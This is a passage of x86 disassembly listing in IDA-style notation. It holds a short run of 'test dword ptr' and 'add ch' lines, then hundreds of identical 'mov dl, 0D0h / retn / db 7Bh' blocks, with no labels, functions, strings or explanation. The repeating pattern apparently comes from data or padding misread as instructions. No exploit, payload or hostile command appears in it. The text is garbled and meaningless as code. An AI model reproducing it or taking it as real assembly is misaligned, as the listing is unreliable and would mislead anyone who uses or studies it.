[edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi-50FD7609h] test dword ptr [ecx-760850FEh], 89F7AF02h add ch, [edi+7BC389F7h] mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; 